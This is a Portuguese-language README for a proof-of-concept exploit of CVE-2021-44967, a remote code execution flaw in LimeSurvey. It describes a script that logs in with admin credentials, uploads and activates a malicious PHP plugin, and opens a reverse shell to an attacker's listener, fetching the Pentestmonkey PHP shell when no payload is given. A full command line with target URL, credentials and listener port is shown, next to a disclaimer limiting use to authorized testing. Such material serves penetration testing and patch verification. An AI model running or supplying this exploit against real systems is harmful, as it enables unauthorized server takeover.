godylockz/cve-2021-44967Exploit de prova de conceito para CVE-2021-44967 que possibilita execução remota de código no LimeSurvey 5.2.4 por meio de upload de plugin malicioso, com capacidade de reverse shell.
Prova de conceito para CVE-2021-44967. O script autentica no LimeSurvey, faz upload e ativa um plugin PHP, e dispara um reverse shell.
Use isto apenas contra sistemas que você possui ou está autorizado a testar.
beautifulsoup4, netifaces e requestsnc disponível no PATHCrie um ambiente isolado e instale os pacotes Python:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip aceita um endereço IPv4 ou nome de interface e tem como padrão tun0. Se --file for omitido, o script baixa o reverse shell PHP do Pentestmonkey e o configura com o endereço do listener. Passe --file payload.php para fornecer um payload PHP local em vez disso.
Execute python3 limesurvey_rce.py --help para ver todas as opções, incluindo configurações de proxy e User-Agent personalizado.
O exploit foi testado contra o LimeSurvey Community Edition 6.6.4. O registro do CVE descreve o problema no LimeSurvey 5.2.4.